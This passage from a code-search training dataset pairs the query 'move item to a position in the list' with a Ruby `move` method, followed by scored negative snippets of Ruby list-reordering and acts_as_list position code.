%i[order],\n )\n end", "def reorder\n # If it's AJAX, do our thing and move on...\n if request.xhr?\n params[\"page_list_#{params[:id]}\"].each_with_index { |id,idx| ComatosePage.update(id, :position => idx) }\n expire_cms_page ComatosePage.find(params[:id])\n render :text=>'Updated sort order', :layout=>false\n else\n @page = ComatosePage.find params[:id]\n if params.has_key? :cmd\n @target = ComatosePage.find params[:page]\n case params[:cmd]\n when 'up' then @target.move_higher\n when 'down' then @target.move_lower\n end\n redirect_to :action=>'reorder', :id=>@page\n end\n end\n end", "def make_item_list\n end", "def arrange\n\t\t\n\tend", "def sortItems()\n @usableItems = (@usableItems ||= []).sort_by { |x| x.to_s }\n end", "def update_order_item\n \n end", "def reorder_plans(ids)\n ids.each_with_index do |id, position|\n application_plans.find_by_id(id).update_attribute(:position, position)\n end\n end", "def reorder_children(*ids)\n transaction do\n ordered_ids = ids.flatten.uniq\n current_children = children({ :conditions => { :id => ordered_ids } })\n current_children_ids = current_children.map(&:id)\n ordered_ids = ordered_ids & current_children_ids\n return [] unless ordered_ids.length > 1 && ordered_ids != current_children_ids\n perform_reorder_of_children(ordered_ids, current_children)\n end \n end", "def current_reorder\n inventory_reorders.active.first\n end", "def order\n end", "def reorder_players\n @players.sort_by! { |p| -p.cash }\n @log << '-- New player order: --'\n @players.each.with_index do |p, idx|\n pd = idx.zero? ? ' - Priority Deal -' : ''\n @log << \"#{p.name}#{pd} (#{format_currency(p.cash)})\"\n end\n end", "def lower_item\n # return nil unless in_list?\n # acts_as_list_class.find(:first, :conditions => \"#{scope_condition} AND #{position_column} > #{send(position_column).to_s}\", :order => \"#{position_column} ASC\")\n acts_as_list_class.with_acts_as_list_scope(scope_condition) do\n where(\"#{position_column} = #{(send(position_column).to_i + 1).to_s}\").first\n end \n end", "def items_for_parent(parent_id)\n items.find_all_by_parent_id(parent_id).sort! { |a,b| a.sequence <=> b.sequence }\n end", "def order_item\n @items.sample\n end" ]
[ "0.761894", "0.72861505", "0.6808553", "0.6429333", "0.63515824", "0.63418937", "0.62593096", "0.6160428", "0.6114032", "0.6087117", "0.6077317", "0.6066348", "0.60639775", "0.60224295", "0.601586", "0.5976452", "0.5976452", "0.5970553", "0.5920123", "0.58942634", "0.5885365", "0.5870111", "0.58479553", "0.5846487", "0.58146966", "0.58032733", "0.5785813", "0.5781343", "0.57728934", "0.57612485", "0.5752718", "0.5744281", "0.5727423", "0.56943214", "0.56868774", "0.5684611", "0.5675377", "0.56719685", "0.5669591", "0.56652796", "0.56636065", "0.5655844", "0.5635465", "0.5624498", "0.56218946", "0.5619155", "0.56146353", "0.56069547", "0.56063616", "0.55993557", "0.5590123", "0.55884975", "0.55814546", "0.558091", "0.5575564", "0.55696636", "0.55578876", "0.55453837", "0.55452645", "0.55438715", "0.5542756", "0.55385345", "0.55343074", "0.55310005", "0.55295485", "0.5525969", "0.5524527", "0.5521682", "0.5521158", "0.5512301", "0.5511885", "0.5503895", "0.5503663", "0.54930425", "0.54859525", "0.54794407", "0.54755163", "0.54594505", "0.544927", "0.54469323", "0.5446626", "0.5443199", "0.5437715", "0.54340214", "0.542807", "0.541506", "0.54125136", "0.5398928", "0.53988457", "0.53780836", "0.5361602", "0.53610235", "0.5359138", "0.5349011", "0.53381574", "0.53355587", "0.53298885", "0.53153276", "0.5313427", "0.5312878" ]
0.7510975
1
move item to a position in the list. position should _only_ be changed through this
def move(vector) move_without_saving(vector) && save end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def move_to_position(new_position)\n old_position = self.send(position_column)\n unless new_position == old_position\n if new_position < old_position\n # Moving higher in the list (up) \n new_position = [1, new_position].max\n increment_positions_between(new_position, old_position - 1)\n else\n # Moving lower in the list (down)\n new_position = [bottom_position_in_list(self).to_i, new_position].min\n decrement_positions_between(old_position + 1, new_position)\n end\n self.update_attribute(position_column, new_position)\n end\n end", "def increment_position\n return unless in_list?\n set_list_position(current_position + 1)\n end", "def move_to(new_position)\n if range.include? new_position\n reorder(position, new_position)\n update_column(:position, new_position)\n end\n end", "def move_to_list(scope, pos = nil)\n transaction do |txn|\n self.detach # remove from current list\n self.attribute_set(model.list_options[:scope][0], scope.to_i) # set new scope\n self.save # save progress. Needed to get the positions correct.\n self.reload # get a fresh new start\n self.move(pos) unless pos.nil?\n end\n end", "def bump(index, position = 1)\n @items.insert(position-1, @items.delete_at(index.to_i-1))\n save\n @items[position.to_i-1]\n end", "def decrement_position\n return unless in_list?\n set_list_position(current_position - 1)\n end", "def move(from, to)\n index = self.delete_at(from)\n self.insert(to, index)\n end", "def decrement_position\n return unless in_list?\n update_attribute :position, self.send(:position).to_i - 1\n end", "def move_to(dest_position)\n return if self.orderable_position == dest_position\n\n pos = orderable_attribute\n con = orderable_condition\n\n self.class.transaction do\n if orderable_position < dest_position\n adj = \"#{pos} = #{pos} - 1\"\n con = con + [ \"#{pos} > #{orderable_position}\", \"#{pos} <= #{dest_position}\" ]\n else\n adj = \"#{pos} = #{pos} + 1\"\n con = con + [ \"#{pos} < #{orderable_position}\", \"#{pos} >= #{dest_position}\" ]\n end\n self.class.update( adj, :condition => con.join(' AND ') )\n self.orderable_position = dest_position\n update_attribute(orderable_attribute)\n end\n\n self\n end", "def move_without_saving(vector)\n if vector.kind_of?(Hash)\n action, object = vector.keys[0], vector.values[0]\n else\n action = vector\n end\n\n # set the start position to 1 or, if offset in the list_options is :list, :first => X\n minpos = model.list_options[:first]\n\n # the previous position (if changed) else current position\n prepos = original_attributes[properties[:position]] || position\n\n # set the last position in the list or previous position if the last item\n maxpos = (last = list.last) ? (last == self ? prepos : last.position + 1) : minpos\n\n newpos = case action\n when :highest then minpos\n when :top then minpos\n when :lowest then maxpos\n when :bottom then maxpos\n when :higher,:up then [ position - 1, minpos ].max\n when :lower,:down then [ position + 1, maxpos ].min\n when :above\n # the object given, can either be:\n # -- the same as self\n # -- already below self\n # -- higher up than self (lower number in list)\n ( (self == object) or (object.position > self.position) ) ? self.position : object.position\n\n when :below\n # the object given, can either be:\n # -- the same as self\n # -- already above self\n # -- lower than self (higher number in list)\n ( self == object or (object.position < self.position) ) ? self.position : object.position + 1\n\n when :to\n # can only move within top and bottom positions of list\n # -- .move(:to => 2 ) Hash with FixNum\n # -- .move(:to => '2' ) Hash with String\n\n # NOTE:: sensitive functionality\n # maxpos is incremented above, so decrement by 1 to get true maxpos\n # minpos is fixed, so just take the object position value given\n # else add 1 to object position value\n obj = object.to_i\n if (obj > maxpos)\n [ minpos, [ obj, maxpos - 1 ].min ].max\n else\n [ minpos, [ obj, maxpos ].min ].max\n end\n\n else\n raise ArgumentError, \"unrecognized vector: [#{action}]. Please check your spelling and/or the docs\" if action.is_a?(Symbol)\n # -- .move(2) as FixNum only\n # -- .move('2') as String only\n if action.to_i < minpos\n [ minpos, maxpos - 1 ].min\n else\n [ action.to_i, maxpos - 1 ].min\n end\n end\n\n # don't move if already at the position\n return false if [ :lower, :down, :higher, :up, :top, :bottom, :highest, :lowest, :above, :below ].include?(action) && newpos == prepos\n return false if !newpos || ([ :above, :below ].include?(action) && list_scope != object.list_scope)\n return true if newpos == position && position == prepos || (newpos == maxpos && position == maxpos - 1)\n\n if !position\n list.all(:position.gte => newpos).adjust!({ :position => 1 }, true) unless action =~ /:(lowest|bottom)/\n elsif newpos > prepos\n newpos -= 1 if [:lowest,:bottom,:above,:below].include?(action)\n list.all(:position => prepos..newpos).adjust!({ :position => -1 }, true)\n elsif newpos < prepos\n list.all(:position => newpos..prepos).adjust!({ :position => 1 }, true)\n end\n\n self.position = newpos\n self.moved = true\n true\n end", "def increment_position\n return unless in_list?\n # self_class_all_or_in_collection.where(:pos => my_position).\n adjust_position!(1)\n end", "def increment_position\n return unless in_list?\n # in_collection.where(:pos => my_position).\n adjust!(position_key => 1) \n save!\n end", "def move_higher\n higher = higher_item\n return unless higher\n acts_as_list_class.transaction do\n self.update_attribute(position_column, higher.send(position_column))\n higher.increment_position\n end\n end", "def decrement_position\n return unless in_list?\n\n # in_collection.where(:pos => my_position).\n adjust!(position_key => -1)\n save!\n end", "def move_lower\n lower = lower_item\n return unless lower\n acts_as_list_class.transaction do\n self.update_attribute(position_column, lower.send(position_column))\n lower.decrement_position\n end\n end", "def move_to_top\n return if position_in_list == 1\n move_to(1)\n end", "def deleteItem(position)\n if position >= 0 && position < @list_size\n # Adjust the list\n @item = @item[0...position] + @item[position+1..-1]\n @item_len = @item_len[0...position] + @item_len[position+1..-1]\n @item_pos = @item_pos[0...position] + @item_pos[position+1..-1]\n\n self.setViewSize(@list_size - 1)\n\n if @list_size > 0\n self.resequence\n end\n\n if @list_size < self.maxViewSize\n @win.werase # force the next redraw to be complete\n end\n\n # do this to update the view size, etc\n self.setPosition(@current_item)\n end\n end", "def update_an_item(position)\n to_do_list.at(position).update_status\n end", "def move_to_top\n return unless in_list?\n acts_as_list_class.transaction do\n increment_positions_on_higher_items\n assume_top_position\n end\n end", "def move_book(position)\n reset_indices\n\n ListedBook.transaction do\n relevant_books = self.user.listed_books.where(is_read: self.is_read).order(:order_index)\n max = relevant_books.map(&:order_index).max\n from = self.order_index\n difference = position - from\n if difference > 0\n relevant_books = relevant_books[from+1..position]\n relevant_books.each_with_index { |book, i| relevant_books[i].order_index -= 1 }\n elsif difference < 0\n relevant_books = relevant_books[position..from -1]\n relevant_books.each_with_index { |book, i| relevant_books[i].order_index += 1 }\n end\n self.order_index = max + 2\n self.save\n relevant_books.each(&:save)\n self.order_index = position\n self.save\n end\n end", "def remove_from_list\n if in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end\n end", "def move( array, index, value=\"X\" )\n array[index] = value\nend", "def move_to_position(index, scope = {})\n insert_at(self.parent, index, scope)\n end", "def moveto_next\n return if @range.empty?\n if index = @range.index(self.pos)\n @index = index\n end\n @index += 1\n @index %= @range.size\n moveto @range[@index]\n end", "def move( x, y=nil )\n self.dup.move!(x, y)\n end", "def move_higher\n return unless higher_item\n\n acts_as_list_class.transaction do\n higher_item.increment_position\n decrement_position\n end\n end", "def move_to_top\n # return unless in_list?\n acts_as_list_class.transaction do\n # increment_positions_on_higher_items\n in_list? ? increment_positions_on_higher_items : increment_positions_on_all_items\n assume_top_position\n end\n end", "def decrement_position\n return unless in_list?\n\n # self_class_all_or_in_collection.where(:pos => my_position).\n adjust_position!(-1)\n end", "def move_item(id, to)\n record \"/todos/move_item/#{id}\", :to => to\n end", "def move(x,y)\n self.dup.move!(x,y)\n end", "def reposition!(index)\n target = get_object_for_position_counter\n collection = nil\n counting = index\n \n if index > target.count\n index = target.count\n counting = 0\n collection = target.where(\"position <= ?\", index)\n elsif index <= 0\n index = 1\n counting = 1\n end\n \n collection = collection || target.where(\"position >= ?\", index)\n collection.each do |item|\n next if item.id == self.id\n counting = counting + 1\n item.update_column(:position, counting)\n end\n self.update_column(:position, index)\n end", "def set_position(index)\n first_item_position = board.tasks.by_status(self.status)[index].position\n insert_at(first_item_position)\n end", "def change_position(position)\n @old_position = @position = position\n end", "def remove_from_list\n return unless in_list?\n decrement_positions_on_lower_items\n set_my_position nil\n end", "def update_item(position,status)\n\n\tposition - 1\n\t@items[position].update_status(status)\nend", "def set_list_position(new_position, raise_exception_if_save_fails=false)\n self[position_column] = new_position\n raise_exception_if_save_fails ? save! : save\n end", "def move_to(new_position)\n remove_from_parent\n insert(new_position, parent_document)\n end", "def move_to_top\n return unless in_list?\n\n increment_positions_on_higher_items\n assume_top_position\n end", "def move_to_top\n return unless in_list?\n\n increment_positions_on_higher_items\n assume_top_position\n end", "def swap_with_next i\n #if first_item >= first_item.next_list_item\n\n end", "def increment_positions_on_higher_items\n return unless in_list?\n acts_as_list_class.update_all(\n \"#{:position} = (#{:position} + 1)\", \"#{:position} < #{send(:position).to_i}\"\n )\n end", "def move_higher\n return unless higher_item\n\n acts_as_list_class.transaction do\n if higher_item.current_position != current_position\n swap_positions_with(higher_item)\n else\n higher_item.increment_position\n decrement_position\n end\n end\n end", "def update_position\n if self.simple_acts_as_list_scope.length == 0\n self.position = 1\n else\n self.position = self.simple_acts_as_list_scope.last.position + 1\n end\n end", "def move(board, position, player=current_player(board))\n position = position.to_i\n board[position-1]=player\nend", "def move_lower\n return unless lower_item\n\n acts_as_list_class.transaction do\n if lower_item.current_position != current_position\n swap_positions_with(lower_item)\n else\n lower_item.decrement_position\n increment_position\n end\n end\n end", "def move_to(x, y); end", "def move_to_top\n return unless in_list?\n insert_at_position acts_as_list_top\n end", "def move(direction)\n @old = @pos\n @pos += direction\n end", "def move(array,position,value = \"X\")\n array[position.to_i - 1] = value\nend", "def move(new_position)\n yield(new_position, self) if block_given?\n self.position = new_position\n self.moved = true\n nil\n end", "def move_piece!(from_pos, to_pos)\n piece = self[from_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(to_pos)\n\n piece.prev_pos = from_pos\n piece.moved_during_match ||= true\n\n self[to_pos] = piece\n self[from_pos] = nil\n piece.pos = to_pos\n\n nil\n end", "def move(board,position,choice=\"X\")\n iPosition = position.to_i\n board[iPosition-1] = choice\nend", "def move\n # Noting that insert, if applied to an existing resource, moves it\n # to its new URL.\n item_insert(item_find)\n end", "def move_to_child_with_index(node, index)\n index = index.to_i\n\n if index >= 0\n move_to_child_with_position node, index + 1\n elsif node\n movement(node, :strict => true) do |to|\n to.parent = node\n to.position = to.target.children.size + index + 1\n end\n else\n move_to_child_with_position nil, scope.roots.size + index + 1\n end\n end", "def move(board, index, marker)\n board[index] = marker\nend", "def player_move(board, index, marker)\n board[index] = marker\n end", "def move_higher\n return if position_in_list == 1\n move_to(position_in_list - 1)\n end", "def move(array, index, value = \"X\")\n array[index] = value\nend", "def increment_position\n # return unless in_list?\n update_attribute position_column, self.send(position_column).to_i + 1\n end", "def prioritize(index, position = 1)\n\[email protected](position-1, @items.delete_at(index.to_i-1))\n\t@items[position.to_i-1]\n\t\t\n\tend", "def move_to_bottom\n # return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items if in_list?\n assume_bottom_position\n end\n end", "def move_to_position(pos, options = {})\n old_pos = self.position\n old_loc = self.location_name\n old_zone_name = self.zone_name\n expected_new_loc = pos.split(\"#\")[0]\n\n if old_loc && !self.location\n raise ::Demiurge::Errors::LocationNameNotFoundError.new(\"Item #{@name.inspect} has an old location name (#{old_loc.inspect}) with no matching location object!\",\n { \"item_name\" => @name, \"location_name\" => old_loc, \"moving_to\" => pos },\n execution_context: @engine.execution_context);\n end\n\n if old_loc != nil && expected_new_loc == old_loc\n self.location.item_change_position(self, old_pos, pos)\n elsif old_loc != nil\n # This also handles zone changes.\n self.location.item_change_location(self, old_pos, pos)\n end\n # We're not guaranteed to wind up where we expected, so get the\n # new location *after* item_change_location or\n # item_change_position.\n new_loc = self.location_name\n\n @engine.send_notification({ old_position: old_pos, old_location: old_loc, new_position: self.position, new_location: new_loc },\n type: Demiurge::Notifications::MoveFrom, zone: old_zone_name, location: old_loc, actor: @name, include_context: true)\n @engine.send_notification({ old_position: old_pos, old_location: old_loc, new_position: self.position, new_location: new_loc, options: options },\n type: Demiurge::Notifications::MoveTo, zone: self.zone_name, location: self.location_name, actor: @name, include_context: true)\n end", "def move_joker_a\n a_pos = $deck.find_index('A')\n if a_pos == 53\n $deck.delete 'A'\n $deck.insert 1, 'A'\n else\n temp = $deck[a_pos + 1]\n $deck[a_pos + 1] = $deck[a_pos]\n $deck[a_pos] = temp\n end\nend", "def move(item, project)\n args = {id: item.id, project_id: project.id}\n return @client.api_helper.command(args, \"item_move\")\n end", "def insert_in_list_at(position = 1)\n insert_at_position(position)\n end", "def insert_in_list_at(position = 1)\n insert_at_position(position)\n end", "def insert_at(position = acts_as_list_top)\n insert_at_position(position)\n end", "def move_to_bottom\n return unless in_list?\n acts_as_list_class.transaction do\n decrement_positions_on_lower_items\n assume_bottom_position\n end\n end", "def update_position\n if scope_changed?\n decrement(all_next_was)\n if range.include?(position)\n reorder(position_was, position)\n else\n add_to_bottom\n end\n else\n if range.include?(position)\n reorder(position_was, position)\n else\n self.position = position_was # Keep original position\n end\n end\n end", "def slide_move!(end_pos)\n board[end_pos] = self\n board.set_to_empty(self.pos)\n self.pos = end_pos\n end", "def shuffle_positions_on_intermediate_items(old_position, new_position, avoid_id = nil)\n return if old_position == new_position\n scope = acts_as_list_list\n\n if avoid_id\n scope = scope.where(\"#{quoted_table_name}.#{self.class.primary_key} != ?\", avoid_id)\n end\n\n if old_position < new_position\n # Decrement position of intermediate items\n #\n # e.g., if moving an item from 2 to 5,\n # move [3, 4, 5] to [2, 3, 4]\n items = scope.where(\n \"#{quoted_position_column_with_table_name} > ?\", old_position\n ).where(\n \"#{quoted_position_column_with_table_name} <= ?\", new_position\n )\n\n if sequential_updates?\n items.reorder(acts_as_list_order_argument(:asc)).decrement_sequentially\n else\n items.decrement_all\n end\n else\n # Increment position of intermediate items\n #\n # e.g., if moving an item from 5 to 2,\n # move [2, 3, 4] to [3, 4, 5]\n items = scope.where(\n \"#{quoted_position_column_with_table_name} >= ?\", new_position\n ).where(\n \"#{quoted_position_column_with_table_name} < ?\", old_position\n )\n\n if sequential_updates?\n items.reorder(acts_as_list_order_argument(:desc)).increment_sequentially\n else\n items.increment_all\n end\n end\n end", "def move_to!(x, y, z)\n @origin = [x, y, z]\n end", "def move(board, pos, mark=\"X\")\n board[pos.to_i-1] = mark\nend", "def move(board,position,value)\n index = input_to_index(position)\n board[index] = value\n\nend", "def change_priority_item(index, new_priority)\n @items[index-1].change_priority(new_priority)\n end", "def\tinsert_item!(previous_item_id, item_id)\n if previous_item_id\n index = self.items_positions.index(previous_item_id.to_i)\n \t self.items_positions.insert(index + 1, item_id)\n else\n self.items_positions.unshift(item_id)\n end\n self.save\n end", "def do_the_move(argument)\r\n color, row_s, col_s, row_e, col_e = strip_pos_argument(argument)\r\n start_item = @infosquare[row_s][col_s]\r\n end_item = @infosquare[row_e][col_e]\r\n if movetype == :shortcastle or movetype ==:longcastle\r\n move_castle(start_item, end_item)\r\n elsif movetype == :enpassant\r\n col_enp = end_item.col\r\n row_enp = start_item.row\r\n eated_item = @infosquare[row_enp][col_enp]\r\n eated_item.clear\r\n else\r\n BoardInfoItem.exchange(start_item, end_item)\r\n end\r\n @last_moved_item = end_item\r\n \r\n end", "def player_move(board, index, current_player_token)\r\n board[index] = current_player_token\r\nend", "def update_position(index)\n relationships = self.group_relations\n last = relationships.count \n relationships.each do |r|\n if r.position.nil?\n r.update_attribute(:position, last -= 1)\n else\n if r.position > index\n r.update_attribute(:position, r.position - 1)\n end\n end\n end\n end", "def move(from, to)\n @tasks.insert(index(to), @tasks.delete_at(index(from)))\n end", "def move(position, player=current_player)\n position = position.to_i\n @board[position-1]=player\n end", "def reposition(arr, from, to)\n arr.insert(to, arr.delete_at(from))\n end", "def move_to_top\n self.class.transaction do\n increment_position_of_higher_items\n set_top_position\n end\n end", "def test_remove_at_position_2\n @linked_list.remove_at_position(2)\n assert_equal [1,2,4,5,6], @linked_list.traverse\n end", "def position\n if %w(move_to_top move_higher move_lower move_to_bottom).include?(params[:go])\n @item.send(params[:go])\n notice = Typus::I18n.t(\"%{model} successfully updated.\", :model => @resource.model_name.human)\n redirect_to :back, :notice => notice\n else\n not_allowed\n end\n end", "def decrement_position\n # return unless in_list?\n update_attribute position_column, self.send(position_column).to_i - 1\n end", "def move(board, index, token)\n board[index] = token\nend", "def move(board, index, token)\n board[index] = token\nend", "def move(board, index, token)\n board[index] = token\nend", "def move_piece!(start_pos, end_pos)\n piece = self[start_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(end_pos)\n\n self[end_pos] = piece\n self[start_pos] = sentinel\n piece.pos = end_pos\n\n nil\n end", "def move_piece!(start_pos, end_pos)\n piece = self[start_pos]\n raise 'piece cannot move like that' unless piece.moves.include?(end_pos)\n\n self[end_pos] = piece\n self[start_pos] = sentinel\n piece.pos = end_pos\n\n nil\n end", "def move_piece!(start_pos,end_pos)\n piece=self[start_pos]\n raise 'Piece cannot move like that' unless piece.moves.include?(end_pos)\n self[end_pos]=piece\n self[start_pos]=sentinel\n piece.pos=end_pos\n nil\n end", "def move_next\n\t\tself.current = self.current&.next\n\tend", "def move_next\n\t\tself.current = self.current&.next\n\tend", "def lower_item\n return nil unless in_list?\n acts_as_list_class.find(:first, :conditions =>\n \"position = #{(send(:position).to_i + 1).to_s}\"\n )\n end", "def remove(index)\n @size -= 1\n if index == 0\n @first_item = @first_item.next_list_item\n else\n previous_item = get_item( index -1)\n next_list_item = previous_item.next_list_item.next_list_item\n previous_item.next_list_item = next_list_item\n #get_item( index - 1).next_list_item = nil\n # return @first_item = @first_item.next_list_item if index == 0\n # item = @first_item\n # (index - 1).times do\n # item = item.next_list_item\n # # puts \"(((((((()))))))))))))((((((((((((((@item))))))))))))))\"\n # # puts @first_item.payload\n # # puts\"((((((((((((((item.next_list_Item)))))))))))))\"\n # # puts item.payload\n # end\n # raise IndexError if item.nil?\n # item.next_list_item = item.next_list_item.next_list_item\n end\nend", "def retreat\n @position = @position - 1 rescue -1\n self[@position + 1]\n end", "def move\n move_by a, m\n end", "def move(index,token)\n return @board[index] = token\n end", "def remove_item(item)\n index = @list.index(item)\n remove_item_at(index)\n end", "def move!(start_pos, end_pos)\n #save removed piece and then remove it\n @removed_pieces << self[end_pos]\n self[end_pos] = NullPiece.instance\n\n self[start_pos], self[end_pos] = self[end_pos], self[start_pos]\n\n self[end_pos].position = end_pos\n end" ]
[ "0.7173106", "0.70128834", "0.68796986", "0.68556774", "0.67750704", "0.6688125", "0.66359854", "0.6534813", "0.6507391", "0.6486664", "0.64813644", "0.64677054", "0.6454275", "0.6412659", "0.6405844", "0.6404367", "0.63928306", "0.63774353", "0.63674104", "0.6349017", "0.63096833", "0.63050556", "0.63005954", "0.6288537", "0.6286456", "0.62836564", "0.6283202", "0.62804186", "0.62766266", "0.62585807", "0.62358993", "0.6219084", "0.62180126", "0.6213412", "0.61914426", "0.6188205", "0.6150214", "0.61484617", "0.61484617", "0.6143226", "0.61342067", "0.6130248", "0.6120966", "0.6117109", "0.611649", "0.6112578", "0.6110178", "0.6100663", "0.60901755", "0.60827065", "0.607711", "0.60583794", "0.6047017", "0.60302204", "0.6005436", "0.5998079", "0.59898", "0.5948447", "0.59428936", "0.593213", "0.5925291", "0.5924853", "0.59225947", "0.59218436", "0.59169805", "0.59169805", "0.5915697", "0.591528", "0.5907774", "0.59066343", "0.59004885", "0.58992887", "0.5894643", "0.58934367", "0.5889807", "0.5889562", "0.5889017", "0.58806556", "0.5872491", "0.58700347", "0.58685803", "0.58629256", "0.5861993", "0.58574575", "0.58564925", "0.5855082", "0.5853237", "0.5853237", "0.5853237", "0.5849035", "0.5849035", "0.58486474", "0.5838585", "0.5838585", "0.5838401", "0.5822121", "0.58216405", "0.5809329", "0.580639", "0.5798459", "0.57963574" ]
0.0
-1
Sr, Mst, Jr, Cat, Beg, Exp
def short_name Category.short_name name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def stderrs; end", "def schumann; end", "def name; termid;end", "def text_sr_csd1_sinters_cont\n #\n # search * text * columns in .. table\n #\n # http://stackoverflow.com/questions/17980410/rails-get-the-names-of-all-a-tables-columns-of-a-certain-data-type-column\n # ModelClass.columns.select{ |c| c.type == :integer }.map(&:name)\n #\n most_attributes = []\n attributes_to_exclude = [\n \"created_at\",\n \"updated_at\",\n \"id\" \n ]\n SrCsd1Sinter.columns.select{ |c| c.type == :string || c.type == :text }.map(&:name).each do |column_name|\n most_attributes << column_name unless column_name.in?(attributes_to_exclude)\n end\n most_attributes.join(\"_or_\") + \"_cont_any\"\n end", "def setup_abst_info(record)\n text = []\n record.find_all{|f| f.tag === \"520\" }.each do |field|\n textstr = ''\n field.each do |sf|\n textstr << sf.value + ' ' unless [\"c\", \"2\",\"3\",\"6\"].include?(sf.code)\n end\n text << textstr\n end\n Rails.logger.debug \"********es287_dev #{__FILE__} #{__LINE__} #{__method__} #{text[0]}\"\n text\n end", "def column_names\n\t\t@validated_gets.map{|f| f[:external]} + [\"usd_2009\", \"usd_current\", \"count\", \"min_year\", \"max_year\"]\n\tend", "def start\n years\n strings\n sgb\n end", "def malts; end", "def above_fold_terms\n [:maker,\n :date_original,\n :date_published,\n :resource_type,\n :genre_string,\n :identifier,\n :rights,\n ]\n end", "def sc\n field_fetch('SC')\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def sc\n return self[:sc]\n end", "def formation; end", "def _reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym) \n result\nend", "def _reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym) \n result\nend", "def _reduce_103(val, _values, result)\n result = s(:lit, val[0].to_sym) \n result\nend", "def _reduce_103(val, _values, result)\n result = s(:lit, val[0].to_sym) \n result\nend", "def _reduce_103(val, _values, result)\n result = s(:lit, val[0].to_sym) \n result\nend", "def names\n \n # COMBINE split names into composite names for these rows\n composites = [\n {:row => :sa, :version => /^[6-8]/, :field => [:contributor, :donor_candidate]},\n {:row => :sb, :version => /^[6-8]/, :field => [:payee, :beneficiary_candidate]},\n {:row => :sc, :version => /^[6-8]/, :field => [:lender, :lender_candidate]},\n {:row => :sc1, :version => /^[6-8]/, :field => [:treasurer, :authorized]},\n {:row => :sc2, :version => /^[6-8]/, :field => :guarantor},\n {:row => :sd, :version => /^[6-8]/, :field => :creditor},\n {:row => :se, :version => /^[6-8]/, :field => [:payee, :candidate]},\n {:row => :sf, :version => /^[6-8]/, :field => [:payee, :payee_candidate]},\n {:row => :f3p, :version => /^[6-8]/, :field => :treasurer},\n {:row => :f3p31, :version => /^[6-8]/, :field => :contributor},\n ]\n # SPLIT composite names into component parts for these rows\n components = [\n {:row => :sa, :version => /^3|(5.0)/, :field => :contributor},\n {:row => :sa, :version => /^[3-5]/, :field => :donor_candidate},\n {:row => :sb, :version => /^3|(5.0)/, :field => :payee},\n {:row => :sb, :version => /^[3-5]/, :field => :beneficiary_candidate},\n {:row => :sc, :version => /^[3-5]/, :field => [:lender, :lender_candidate]},\n {:row => :sc1, :version => /^[3-5]/, :field => [:treasurer, :authorized]},\n {:row => :sc2, :version => /^[3-5]/, :field => :guarantor},\n {:row => :sd, :version => /^[3-5]/, :field => :creditor},\n {:row => :se, :version => /^[3-5]/, :field => [:payee, :candidate]},\n {:row => :sf, :version => /^[3-5]/, :field => [:payee, :payee_candidate]},\n {:row => :f3p, :version => /^[3-5]/, :field => :treasurer},\n {:row => :f3p31, :version => /^[3-5]/, :field => :contributor},\n ]\n \n composites.each { |c| combine_components_into_name(c) }\n components.each { |c| split_name_into_components(c) }\n \n end", "def variety; end", "def variety; end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def se\n return self[:se]\n end", "def sex_str(specimens)\r\n v = {}\r\n specimens.each do |s|\r\n v[s.sex] = 0 if !v[s.sex]\r\n v[s.sex] += 1\r\n end\r\n sx = []\r\n v.keys.sort.each do |k|\r\n sx << (v[k] == 1 ? \"1 #{k}\" : \"#{v[k]} #{k}s\")\r\n end\r\n \r\n sx.join(\", \")\r\n end", "def render_mastersthesis(p)\n r = \"\"\n if p.authors.size > 0 then\n r += p.authors.map {|a| a.abbreviated_name}.joined_by_comma_and_and + \". \"\n end\n\n r += p.title.detex.titlecase + \". \"\n\n if field(p,\"Type\") then\n r += text_for_field(\"Type\", p).titlecase.detex + \", \"\n else\n r += \"Master's thesis, \"\n end\n\n r += text_for_field(\"School\", p, :postfix => \", \").detex\n r += text_for_field(\"Address\", p, :postfix => \", \").detex\n r += month_for_field(\"Month\", p, :postfix => \" \").detex\n r += text_for_field(\"Year\", p, :postfix => \". \").detex\n r += text_for_field(\"Note\", p, :postfix => \". \").detex\n return r\n\nend", "def lfmi\n return @last + \", \" + @first + ' ' + @middle[0]\n end", "def row_name_columns\n [:appendix, :taxon, :term, :unit, :country]\n end", "def sb(t, s, c)\n\n end", "def mta\n {\n :N => [\"Times Square\", \"34th\", \"28th\", \"23rd\", \"Union Square\", \"8th\"], \n :L => [\"8th\", \"6th\", \"Union Square\", \"3rd\", \"1st\"],\n :L6 => [\"Grand Station\", \"33rd\", \"28th\", \"23rd\", \"Union Square\", \"Astor Place\"]\n }\nend", "def _reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def _reduce_120(val, _values, result)\n result = s(:lit, val[0].to_sym)\n \n result\nend", "def 